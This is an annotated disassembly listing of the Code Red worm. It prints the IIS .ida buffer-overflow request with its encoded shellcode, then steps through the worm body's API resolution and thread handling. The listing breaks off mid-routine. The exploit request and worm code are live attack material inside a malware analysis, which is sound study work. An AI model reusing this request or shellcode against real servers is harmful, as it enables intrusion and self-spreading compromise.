```
seg000:00000000                    seg000          segment byte public 'CODE' use32
seg000:00000000                                    assume cs:seg000
seg000:00000000                                    assume es:nothing, ss:nothing, ds:nothi
ng, fs:nothing, gs:nothing
seg000:00000000 47 45 54 20 2F 64+aGetDefault_ida db 'GET /default.ida?NNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 65 66 61 75 6C 74+                db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 2E 69 64 61 3F 4E+                db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 4E 4E 4E 4E 4E 4E+                db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNN'
seg000:00000000 4E 4E 4E 4E 4E 4E+                db 'N%u9090%u6858%ucbd3%u7801%u9090%u68
58%ucbd3%u7801%u9090%u685'
seg000:00000000 4E 4E 4E 4E 4E 4E+                db '8%ucbd3%u7801%u9090%u9090%u8190%u00
c3%u0003%u8b00%u531b%u53f'
seg000:00000000 4E 4E 4E 4E 4E 4E+                db 'f%u0078%u0000%u00=a  HTTP/1.0',0Dh,
0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+                db 'Content-type: text/xml',0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+                db 'HOST:www.worm.com',0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+                db ' Accept: */*',0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+                db 'Content-length: 3569 ',0Dh,0Ah
seg000:00000000 4E 4E 4E 4E 4E 4E+                db 0Dh,0Ah
seg000:000001D6
seg000:000001D6                    ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
seg000:000001D6
seg000:000001D6                    ; this is the worm body.  this is the code that actuall
y does  the work
seg000:000001D6                    ; Attributes: bp-based frame
seg000:000001D6
seg000:000001D6                    WORM            proc near
seg000:000001D6
seg000:000001D6                    var_218         = byte ptr -218h
seg000:000001D6                    var_190         = dword ptr -190h
seg000:000001D6
seg000:000001D6 55                                 push    ebp
seg000:000001D7 8B EC                              mov     ebp, esp        ; switch esp to
 ebp
seg000:000001D9 81 EC 18 02 00 00                  sub     esp, 218h       ; set up space
for local variables
seg000:000001DF 53                                 push    ebx             ; save a few re
gs
seg000:000001E0 56                                 push    esi
seg000:000001E1 57                                 push    edi
seg000:000001E2 8D BD E8 FD FF FF                  lea     edi, [ebp+var_218] ; fill in st
ack vars with 0xcc
seg000:000001E8 B9 86 00 00 00                     mov     ecx, 86h ; '\206'
seg000:000001ED B8 CC CC CC CC                     mov     eax, 0CCCCCCCCh
seg000:000001F2 F3 AB                              repe stosd              ; Store String
seg000:000001F4 C7 85 70 FE FF FF+                 mov     [ebp+var_190], 0 ; set 190h to
0
seg000:000001F4 00 00 00 00                                                ; this zeros ou
t the memory that holds the GetProcAddress Call.
seg000:000001FE E9 0A 0B 00 00                     jmp     WORMCONTINUE    ; Jump
seg000:000001FE                    WORM            endp
seg000:000001FE
seg000:00000203
seg000:00000203                    ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
seg000:00000203
seg000:00000203
seg000:00000203                    DataSetup       proc near               ; CODE XREF: se
g000:00000D0D\031p
seg000:00000203 8F 85 68 FE FF FF                  pop     dword ptr [ebp-198h]
seg000:00000209 8D BD F0 FE FF FF                  lea     edi, [ebp-110h] ; set ebp -198h
 to address of  the data segment
seg000:00000209                                                            ; set edi to eb
p -110
seg000:0000020F 64 A1 00 00 00 00                  mov     eax, large fs:0 ; set eax to an
```

```
 ebp+val
seg000:00000215 89 47 08                         mov     [edi+8], eax    ; set ebp+118 t
o 0
seg000:00000218 64 89 3D 00 00 00+               mov     large fs:0, edi ; set fs reg ?
seg000:0000021F E9 6F 0A 00 00                   jmp     JUMP_TABLE1     ; Jump
seg000:0000021F                 DataSetup        endp
seg000:0000021F
seg000:00000224
seg000:00000224                 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
seg000:00000224
seg000:00000224
seg000:00000224                 DO_RVA           proc near               ; CODE XREF: se
g000:00000C93\031p
seg000:00000224 8F 85 60 FE FF FF                pop     dword ptr [ebp-1A0h]
seg000:0000022A C7 85 F0 FE FF FF+               mov     dword ptr [ebp-110h], 0FFFFFFFF
h ; set 110h to 0xffffffff
seg000:00000234 8B 85 68 FE FF FF                mov     eax, [ebp-198h] ; load eax to t
he data address
seg000:0000023A 83 E8 07                         sub     eax, 7          ; sub 7 from th
e data  segment, putting you at: oD0B
seg000:0000023D 89 85 F4 FE FF FF                mov     [ebp-10Ch], eax ; set ebp - 10c
 to oD0B
seg000:00000243 C7 85 58 FE FF FF+               mov     dword ptr [ebp-1A8h], 77E00000h
 ; set  1a8 to 0x780000
seg000:00000243 00 00 E0 77                                              ; __NULL_IMPORT
_DESCRIPTOR+15D4h
seg000:0000024D E8 9B 0A 00 00                   call    DO_REWRITE      ; jump into ced
, do stuff, then jump back
seg000:00000252
seg000:00000252                 RVA_TOP:                                 ; CODE XREF: DO
_RVA+213\031j
seg000:00000252 83 BD 70 FE FF FF+               cmp     dword ptr [ebp-190h], 0 ; this
is null on the  first loop through, due to a null set at init.
seg000:00000252 00                                                       ; The purpose o
f this  loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dl
l, or more specificly,  KERN
seg000:00000259 0F 85 DD 01 00 00                jnz     GETPROC_LOADED  ; go here after
 GetProcAddr Is loaded
seg000:0000025F 8B 8D 58 FE FF FF                mov     ecx, [ebp-1A8h] ; set ecx to 77
E00000
seg000:00000265 81 C1 00 00 01 00                add     ecx, 10000h     ; make ecx 0x77
e10000
seg000:0000026B 89 8D 58 FE FF FF                mov     [ebp-1A8h], ecx
seg000:00000271 81 BD 58 FE FF FF+               cmp     dword ptr [ebp-1A8h], 78000000h
 ; is it msvcrt?
seg000:0000027B 75 0A                            jnz     short NOT_MSVCRT ; if it is not
, then  jump here
seg000:0000027D C7 85 58 FE FF FF+               mov     dword ptr [ebp-1A8h], 0BFF00000
h
seg000:00000287
seg000:00000287                 NOT_MSVCRT:                              ; CODE XREF: DO
_RVA+57\030j
seg000:00000287 8B 95 58 FE FF FF                mov     edx, [ebp-1A8h] ; set edx to 0x
77E10000
seg000:0000028D 33 C0                            xor     eax, eax        ; null out eax
seg000:0000028F 66 8B 02                         mov     ax, [edx]       ; move the low
half of *edx into eax
seg000:0000028F                                                          ; should be som
ething  like 5a4d
seg000:00000292 3D 4D 5A 00 00                   cmp     eax, 5A4Dh      ; Compare Two O
perands
seg000:00000297 0F 85 9A 01 00 00                jnz     TO_RVA_TOP      ; jump if eax i
s not 5a4d
seg000:0000029D 8B 8D 58 FE FF FF                mov     ecx, [ebp-1A8h] ; set ecx to 0x
77E10000
seg000:000002A3 8B 51 3C                         mov     edx, [ecx+3Ch]  ; set edx to *e
cx+3ch
seg000:000002A3                                                          ; should be som
ething  like 0x000000D8
```

```
seg000:000002A6 8B 85 58 FE FF FF                 mov     eax, [ebp-1A8h] ; set eax to 0x
77E10000
seg000:000002AC 33 C9                             xor     ecx, ecx        ; null out ecx
seg000:000002AE 66 8B 0C 10                       mov     cx, [eax+edx]   ; set ecx to wh
at is at eax+edx
seg000:000002AE                                                           ; should be som
ething  like 0x00004550
seg000:000002B2 81 F9 50 45 00 00                 cmp     ecx, 4550h      ; Compare Two O
perands
seg000:000002B8 0F 85 79 01 00 00                 jnz     TO_RVA_TOP      ; jump if ecx i
s not 0x00004550
seg000:000002BE 8B 95 58 FE FF FF                 mov     edx, [ebp-1A8h] ; set edx to 0x
77E10000
seg000:000002C4 8B 42 3C                          mov     eax, [edx+3Ch]  ; set eax to wh
at's at 0x77E1003Ch
seg000:000002C4                                                           ; should be som
ething  like 0x000000D8
seg000:000002C7 8B 8D 58 FE FF FF                 mov     ecx, [ebp-1A8h] ; set ecx to 0x
77E10000
seg000:000002CD 8B 54 01 78                       mov     edx, [ecx+eax+78h] ; set edx to
 what's at address 0x77E100B4
seg000:000002CD                                                           ; should be som
ehing like 51E00
seg000:000002D1 03 95 58 FE FF FF                 add     edx, [ebp-1A8h] ; add 0x77E1000
0 to edx
seg000:000002D7 89 95 54 FE FF FF                 mov     [ebp-1ACh], edx ; set ebp-1AC t
o 0x77E61E00
seg000:000002DD 8B 85 54 FE FF FF                 mov     eax, [ebp-1ACh] ; set eax to 0x
77E61E00
seg000:000002E3 8B 48 0C                          mov     ecx, [eax+0Ch]  ; set ecx to wh
at is at 0x77E61E0C
seg000:000002E3                                                           ; should be som
ething  like 0x005394E
seg000:000002E6 03 8D 58 FE FF FF                 add     ecx, [ebp-1A8h] ; add 0x77E1000
0 to ecx, to get something like 0x77E6394e
seg000:000002EC 89 8D 4C FE FF FF                 mov     [ebp-1B4h], ecx ; set ebp-1B4 t
o 77E6394E
seg000:000002F2 8B 95 4C FE FF FF                 mov     edx, [ebp-1B4h] ; set edx to 77
E6394E
seg000:000002F8 81 3A 4B 45 52 4E                 cmp     dword ptr [edx], 4E52454Bh ; lo
oking for our specific  code (NREK) - KERN spelled backwards..  this is to find KERNEL32
seg000:000002FE 0F 85 33 01 00 00                 jnz     TO_RVA_TOP      ; Jump if Not Z
ero (ZF=0)
seg000:00000304 8B 85 4C FE FF FF                 mov     eax, [ebp-1B4h]
seg000:0000030A 81 78 04 45 4C 33+                cmp     dword ptr [eax+4], 32334C45h ;
looking for our specific code (23LE) -  EL32 spelled backwards..  this is to find KERNEL3
2
seg000:00000311 0F 85 20 01 00 00                 jnz     TO_RVA_TOP      ; Jump if Not Z
ero (ZF=0)
seg000:00000317 8B 8D 58 FE FF FF                 mov     ecx, [ebp-1A8h] ; ok, we have k
ernel32, now get the functions  we need.
seg000:0000031D 89 8D 34 FE FF FF                 mov     [ebp-1CCh], ecx ; store the ker
nel32 base addr.
seg000:00000323 8B 95 54 FE FF FF                 mov     edx, [ebp-1ACh] ; set edx to th
e offset from the base
seg000:00000329 8B 85 58 FE FF FF                 mov     eax, [ebp-1A8h] ; set eax to th
e base
seg000:0000032F 03 42 20                          add     eax, [edx+20h]  ; add the offse
t pointer to the base to get the RVA addr.
seg000:00000332 89 85 4C FE FF FF                 mov     [ebp-1B4h], eax ; set ebp-1b4 w
ith rva holder
seg000:00000338 C7 85 48 FE FF FF+                mov     dword ptr [ebp-1B8h], 0 ; set e
bp-1b8  to 0
seg000:00000342 EB 1E                             jmp     short RVA_PROCESS_FUNC ; This i
s the part of the inner RVA loop that compares  the current RVA function to GetProcAddr.
seg000:00000342                                                           ; ..............
seg000:00000344                         ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000344
seg000:00000344                         RVA_INNER_TOP:                    ; CODE XREF: DO
```

```
_RVA+20E\031j
seg000:00000344 8B 8D 48 FE FF FF                mov     ecx, [ebp-1B8h] ; this moves on
 to the next func in an rva table
seg000:0000034A 83 C1 01                         add     ecx, 1          ; Add
seg000:0000034D 89 8D 48 FE FF FF                mov     [ebp-1B8h], ecx
seg000:00000353 8B 95 4C FE FF FF                mov     edx, [ebp-1B4h]
seg000:00000359 83 C2 04                         add     edx, 4          ; Add
seg000:0000035C 89 95 4C FE FF FF                mov     [ebp-1B4h], edx
seg000:00000362
seg000:00000362                  RVA_PROCESS_FUNC:                       ; CODE XREF: DO
_RVA+11E\030j
seg000:00000362 8B 85 54 FE FF FF                mov     eax, [ebp-1ACh] ; This is the p
art of  the inner RVA loop that compares the current RVA function to GetProcAddr.
seg000:00000362                                                          ;
seg000:00000368 8B 8D 48 FE FF FF                mov     ecx, [ebp-1B8h]
seg000:0000036E 3B 48 18                         cmp     ecx, [eax+18h]  ; Compare Two O
perands
seg000:00000371 0F 8D C0 00 00 00                jge     TO_RVA_TOP      ; this is the e
nd of the inside loop(there are no more functions), goto RVA top and try again.
seg000:00000377 8B 95 4C FE FF FF                mov     edx, [ebp-1B4h]
seg000:0000037D 8B 02                            mov     eax, [edx]
seg000:0000037F 8B 8D 58 FE FF FF                mov     ecx, [ebp-1A8h]
seg000:00000385 81 3C 01 47 65 74+               cmp     dword ptr [ecx+eax], 50746547h
; looking for GetProcAddr (PteG cmp)
seg000:0000038C 0F 85 A0 00 00 00                jnz     TO_RVA_INNER_TOP ; didn't match
, try the next one.
seg000:00000392 8B 95 4C FE FF FF                mov     edx, [ebp-1B4h]
seg000:00000398 8B 02                            mov     eax, [edx]
seg000:0000039A 8B 8D 58 FE FF FF                mov     ecx, [ebp-1A8h]
seg000:000003A0 81 7C 01 04 72 6F+               cmp     dword ptr [ecx+eax+4], 41636F72
h ; looking for GetProcAddr (Acor cmp)
seg000:000003A8 0F 85 84 00 00 00                jnz     TO_RVA_INNER_TOP ; didn't match
, try the next one.
seg000:000003AE 8B 95 48 FE FF FF                mov     edx, [ebp-1B8h] ; it did match
 this is GetPRocAddr, need to get the mapped RVA for this func.
seg000:000003B4 03 95 48 FE FF FF                add     edx, [ebp-1B8h] ; get offset in
to table and double it
seg000:000003BA 03 95 58 FE FF FF                add     edx, [ebp-1A8h] ; get RVA Base
for Kernel32.dll
seg000:000003C0 8B 85 54 FE FF FF                mov     eax, [ebp-1ACh]
seg000:000003C6 8B 48 24                         mov     ecx, [eax+24h]
seg000:000003C9 33 C0                            xor     eax, eax        ; NULL out eax
seg000:000003CB 66 8B 04 0A                      mov     ax, [edx+ecx]
seg000:000003CF 89 85 4C FE FF FF                mov     [ebp-1B4h], eax ; set ebp-1B4 t
o offset into rva table
seg000:000003D5 8B 8D 54 FE FF FF                mov     ecx, [ebp-1ACh]
seg000:000003DB 8B 51 10                         mov     edx, [ecx+10h]
seg000:000003DE 8B 85 4C FE FF FF                mov     eax, [ebp-1B4h]
seg000:000003E4 8D 4C 10 FF                      lea     ecx, [eax+edx-1] ; Load Effecti
ve Address
seg000:000003E8 89 8D 4C FE FF FF                mov     [ebp-1B4h], ecx
seg000:000003EE 8B 95 4C FE FF FF                mov     edx, [ebp-1B4h]
seg000:000003F4 03 95 4C FE FF FF                add     edx, [ebp-1B4h] ; Add
seg000:000003FA 03 95 4C FE FF FF                add     edx, [ebp-1B4h] ; Add
seg000:00000400 03 95 4C FE FF FF                add     edx, [ebp-1B4h] ; Add
seg000:00000406 03 95 58 FE FF FF                add     edx, [ebp-1A8h] ; Add
seg000:0000040C 8B 85 54 FE FF FF                mov     eax, [ebp-1ACh]
seg000:00000412 8B 48 1C                         mov     ecx, [eax+1Ch]
seg000:00000415 8B 14 0A                         mov     edx, [edx+ecx]
seg000:00000418 89 95 4C FE FF FF                mov     [ebp-1B4h], edx
seg000:0000041E 8B 85 4C FE FF FF                mov     eax, [ebp-1B4h]
seg000:00000424 03 85 58 FE FF FF                add     eax, [ebp-1A8h] ; Add
seg000:0000042A 89 85 70 FE FF FF                mov     [ebp-190h], eax ; set ebp-190 t
o GetProcAddr Address
seg000:00000430 EB 05                            jmp     short TO_RVA_TOP ; Jump
seg000:00000432                  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000432
seg000:00000432                  TO_RVA_INNER_TOP:                       ; CODE XREF: DO
_RVA+168\030j
```

```
seg000:00000432                                                         ; DO_RVA+184
\030j
seg000:00000432 E9 0D FF FF FF                  jmp     RVA_INNER_TOP   ; this moves on
 to the next func in an rva table
seg000:00000437                   ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000437
seg000:00000437                   TO_RVA_TOP:                           ; CODE XREF: DO
_RVA+73\030j
seg000:00000437                                                         ; DO_RVA+94\030
j       ...
seg000:00000437 E9 16 FE FF FF                  jmp     RVA_TOP         ; this is null
on the  first loop through, due to a null set at init.
seg000:00000437                                                         ; The purpose o
f this  loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dl
l, or more specificly,  KERN
seg000:0000043C                   ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:0000043C
seg000:0000043C                   GETPROC_LOADED:                       ; CODE XREF: DO
_RVA+35\030j
seg000:0000043C 8D BD F0 FE FF FF               lea     edi, [ebp-110h] ; Load Effectiv
e Address
seg000:00000442 8B 47 08                        mov     eax, [edi+8]
seg000:00000445 64 A3 00 00 00 00               mov     large fs:0, eax
seg000:0000044B 83 BD 70 FE FF FF+              cmp     dword ptr [ebp-190h], 0 ; see i
f getprocaddr is loaded
seg000:00000452 75 05                           jnz     short GPLOADED2 ; if it is, got
o gploaded2
seg000:00000454 E9 38 08 00 00                  jmp     TIGHT_LOOP      ; else, goto lo
cC91
seg000:00000459                   ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000459
seg000:00000459                   GPLOADED2:                            ; CODE XREF: DO
_RVA+22E\030j
seg000:00000459 C7 85 4C FE FF FF+              mov     dword ptr [ebp-1B4h], 1 ; set e
bp-1b4  to 1
seg000:00000463 EB 0F                           jmp     short GETPROC_LOOP_TOP ; load e
dx with the data segment
seg000:00000465                   ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000465
seg000:00000465                   GETPROC_LOOP_INC:                     ; CODE XREF: DO
_RVA+2E9\031j
seg000:00000465 8B 8D 4C FE FF FF               mov     ecx, [ebp-1B4h] ; increment the
 counter at ebp-ib4
seg000:0000046B 83 C1 01                        add     ecx, 1          ; Add
seg000:0000046E 89 8D 4C FE FF FF               mov     [ebp-1B4h], ecx
seg000:00000474
seg000:00000474                   GETPROC_LOOP_TOP:                     ; CODE XREF: DO
_RVA+23F\030j
seg000:00000474 8B 95 68 FE FF FF               mov     edx, [ebp-198h] ; load edx with
 the data segment
seg000:0000047A 0F BE 02                        movsx   eax, byte ptr [edx] ; move the
 byte at data segment to eax
seg000:0000047D 85 C0                           test    eax, eax        ; check if the
byte is null.   This signifies the end of the function data section.
seg000:0000047F 0F 84 8D 00 00 00               jz      FUNC_LOAD_DONE  ; if it is, go
here
seg000:00000485 8B 8D 68 FE FF FF               mov     ecx, [ebp-198h] ; load ecx with
 the data segment
seg000:0000048B 0F BE 11                        movsx   edx, byte ptr [ecx] ; load edx
wuith the byte  at data segment
seg000:0000048E 83 FA 09                        cmp     edx, 9          ; check if the
byte specifies  change of dll
seg000:00000491 75 21                           jnz     short loc_4B4   ; if not, jump
here
seg000:00000493 8B 85 68 FE FF FF               mov     eax, [ebp-198h] ; set eax to cu
rrent data pointer
```

```
seg000:00000499 83 C0 01                                  add     eax, 1          ; get past the
9
seg000:0000049C 8B F4                                     mov     esi, esp
seg000:0000049E 50                                        push    eax             ; push current
data pointer
seg000:0000049F FF 95 90 FE FF FF                         call    dword ptr [ebp-170h] ; LoadLibr
aryA
seg000:000004A5 3B F4                                     cmp     esi, esp        ; Compare Two O
perands
seg000:000004A7 90                                        nop                     ; No Operation
seg000:000004A8 43                                        inc     ebx             ; Increment by
1
seg000:000004A9 4B                                        dec     ebx             ; Decrement by
1
seg000:000004AA 43                                        inc     ebx             ; Increment by
1
seg000:000004AB 4B                                        dec     ebx             ; Decrement by
1
seg000:000004AC 89 85 34 FE FF FF                         mov     [ebp-1CCh], eax ; load current
dll base pointer with return from LoadLibraryA
seg000:000004B2 EB 2A                                     jmp     short DLL_CHECK_NULL_BRANCH ; J
ump
seg000:000004B4                          ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:000004B4
seg000:000004B4                          loc_4B4:                                 ; CODE XREF: DO
_RVA+26D\030j
seg000:000004B4 8B F4                                     mov     esi, esp
seg000:000004B6 8B 8D 68 FE FF FF                         mov     ecx, [ebp-198h] ; set ecx with
the data segment pointer
seg000:000004BC 51                                        push    ecx             ; push data seg
ment(pointer of function to load)
seg000:000004BD 8B 95 34 FE FF FF                         mov     edx, [ebp-1CCh] ; get current R
VA base offset
seg000:000004C3 52                                        push    edx             ; push module h
andle(base loaded address)
seg000:000004C4 FF 95 70 FE FF FF                         call    dword ptr [ebp-190h] ; call Get
ProcAddress
seg000:000004CA 3B F4                                     cmp     esi, esp        ; Compare Two O
perands
seg000:000004CC 90                                        nop                     ; No Operation
seg000:000004CD 43                                        inc     ebx             ; Increment by
1
seg000:000004CE 4B                                        dec     ebx             ; Decrement by
1
seg000:000004CF 43                                        inc     ebx             ; Increment by
1
seg000:000004D0 4B                                        dec     ebx             ; Decrement by
1
seg000:000004D1 8B 8D 4C FE FF FF                         mov     ecx, [ebp-1B4h] ; load ecx with
 ebp-1b4
seg000:000004D7 89 84 8D 8C FE FF+                        mov     [ebp+ecx*4-174h], eax ; load th
e address into  the ebp stack where needed
seg000:000004D7 FF                                                                ; this sets up
our function jumptable
seg000:000004DE
seg000:000004DE                          DLL_CHECK_NULL_BRANCH:                   ; CODE XREF: DO
_RVA+28E\030j
seg000:000004DE EB 0F                                     jmp     short CHECK_NULL_BRANCH ; load
eax with data segment.
seg000:000004DE                                                                   ;
seg000:000004DE                                                                   ; this checks t
he nullishness  of the ebp-198 data pointer, and if isn't null, increments it.
seg000:000004E0                          ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:000004E0
seg000:000004E0                          CHECK_NULL_BRANCH_INC:                   ; CODE XREF: DO
_RVA+2D8\031j
seg000:000004E0 8B 95 68 FE FF FF                         mov     edx, [ebp-198h] ; this function
 moves  the data segment on to the next lookup
```

```
seg000:000004E6 83 C2 01                        add     edx, 1          ; Add
seg000:000004E9 89 95 68 FE FF FF               mov     [ebp-198h], edx
seg000:000004EF
seg000:000004EF                   CHECK_NULL_BRANCH:                    ; CODE XREF: DO
_RVA+2BA\030j
seg000:000004EF 8B 85 68 FE FF FF               mov     eax, [ebp-198h] ; load eax with
 data segment.
seg000:000004EF                                                         ;
seg000:000004EF                                                         ; this checks t
he nullishness  of the ebp-198 data pointer, and if isn't null, increments it.
seg000:000004F5 0F BE 08                        movsx   ecx, byte ptr [eax] ; load byte
 at eax into ecx
seg000:000004F8 85 C9                           test    ecx, ecx        ; check for nul
l
seg000:000004FA 74 02                           jz      short GETPROC_SHIFT_NULL ; if i
t is null, go here
seg000:000004FC EB E2                           jmp     short CHECK_NULL_BRANCH_INC ; e
lse go  here
seg000:000004FE                   ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:000004FE
seg000:000004FE                   GETPROC_SHIFT_NULL:                   ; CODE XREF: DO
_RVA+2D6\030j
seg000:000004FE 8B 95 68 FE FF FF               mov     edx, [ebp-198h] ; this function
 moves  past the null on the end of a line to set the function up for the next run throug
h the getproc/load library system
seg000:00000504 83 C2 01                        add     edx, 1          ; Add
seg000:00000507 89 95 68 FE FF FF               mov     [ebp-198h], edx
seg000:0000050D E9 53 FF FF FF                  jmp     GETPROC_LOOP_INC ; increment th
e counter at ebp-ib4
seg000:00000512                   ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000512
seg000:00000512                   FUNC_LOAD_DONE:                       ; CODE XREF: DO
_RVA+25B\030j
seg000:00000512 8B 85 68 FE FF FF               mov     eax, [ebp-198h] ; set eax to th
e data  segment
seg000:00000518 83 C0 01                        add     eax, 1          ; inc eax
seg000:0000051B 89 85 68 FE FF FF               mov     [ebp-198h], eax ; set datasegme
nt to eax
seg000:0000051B                                                         ;
seg000:0000051B                                                         ; This moves us
 past the final NULL at the end of the  Dll Listing
seg000:00000521 8B 4D 08                        mov     ecx, [ebp+8]    ; load ecx with
 an address at  ebp+8
seg000:00000524 8B 91 84 00 00 00               mov     edx, [ecx+84h]  ; load edx with
 a wam.dll entry
seg000:0000052A 89 95 6C FE FF FF               mov     [ebp-194h], edx ; load this wam
.dll entry into ebp-194
seg000:00000530 C7 85 4C FE FF FF+              mov     dword ptr [ebp-1B4h], 4 ; set e
bp-1b4  to 4
seg000:0000053A C6 85 D0 FE FF FF+              mov     byte ptr [ebp-130h], 68h ; 'h'
; set ebp-130 to 68h
seg000:0000053A 68                                                      ;
seg000:0000053A                                                         ; this seems to
 be setting up  some type of structure
seg000:00000541 8B 45 08                        mov     eax, [ebp+8]    ; load eax with
 ebp+8(possibly an isapi request struct)
seg000:00000544 89 85 D1 FE FF FF               mov     [ebp-12Fh], eax ; save the ebp+
8 at ebp-12f
seg000:0000054A C7 85 D5 FE FF FF+              mov     dword ptr [ebp-12Bh], 0FF53535B
h
seg000:00000554 C7 85 D9 FE FF FF+              mov     dword ptr [ebp-127h], 90907863h
seg000:0000055E 8B 4D 08                        mov     ecx, [ebp+8]    ; check pointer
 to the possible isapi  struct
seg000:00000561 8B 51 10                        mov     edx, [ecx+10h]
seg000:00000564 89 95 50 FE FF FF               mov     [ebp-1B0h], edx ; set response
to check at ebp-1b0
seg000:0000056A 83 BD 50 FE FF FF+              cmp     dword ptr [ebp-1B0h], 0 ; Compa
re Two  Operands
```

```
seg000:00000571 75 26                                jnz     short loc_599   ; if it’s not 0
, then go here
seg000:00000573 8B F4                                mov     esi, esp        ; Get Ready to
call a  function
seg000:00000575 6A 00                                push    0               ; push a null
seg000:00000577 8D 85 4C FE FF FF                    lea     eax, [ebp-1B4h] ; load eax to t
he addr of ebp-1b4, set to 4
seg000:0000057D 50                                   push    eax             ; push the addr
 on the stack
seg000:0000057E 8B 8D 68 FE FF FF                    mov     ecx, [ebp-198h] ; load eax to t
he addr of ebp-198, set to data segment right after the funcnames
seg000:00000584 51                                   push    ecx             ; push it
seg000:00000585 8B 55 08                             mov     edx, [ebp+8]    ; set edx with
ebp+8 pointer
seg000:00000588 8B 42 08                             mov     eax, [edx+8]    ; load eax with
 the data at edx+8
seg000:0000058B 50                                   push    eax             ; push eax
seg000:0000058C FF 95 6C FE FF FF                    call    dword ptr [ebp-194h] ; call Wri
teClient in WAM
seg000:00000592 3B F4                                cmp     esi, esp        ; Compare Two O
perands
seg000:00000594 90                                   nop                     ; No Operation
seg000:00000595 43                                   inc     ebx             ; Increment by
1
seg000:00000596 4B                                   dec     ebx             ; Decrement by
1
seg000:00000597 43                                   inc     ebx             ; Increment by
1
seg000:00000598 4B                                   dec     ebx             ; Decrement by
1
seg000:00000599
seg000:00000599                   loc_599:                                   ; CODE XREF: DO
_RVA+34D\030j
seg000:00000599 83 BD 50 FE FF FF+                   cmp     dword ptr [ebp-1B0h], 64h ; ’d’
 ; check is 64 is in ebp-1b0
seg000:000005A0 7D 5C                                jge     short TOO_MANY_THREADS ; branch
 here if more than 100  are running
seg000:000005A2 8B 8D 50 FE FF FF                    mov     ecx, [ebp-1B0h] ; set ecx to nu
mber of threads
seg000:000005A8 83 C1 01                             add     ecx, 1          ; increment the
 number of open threads
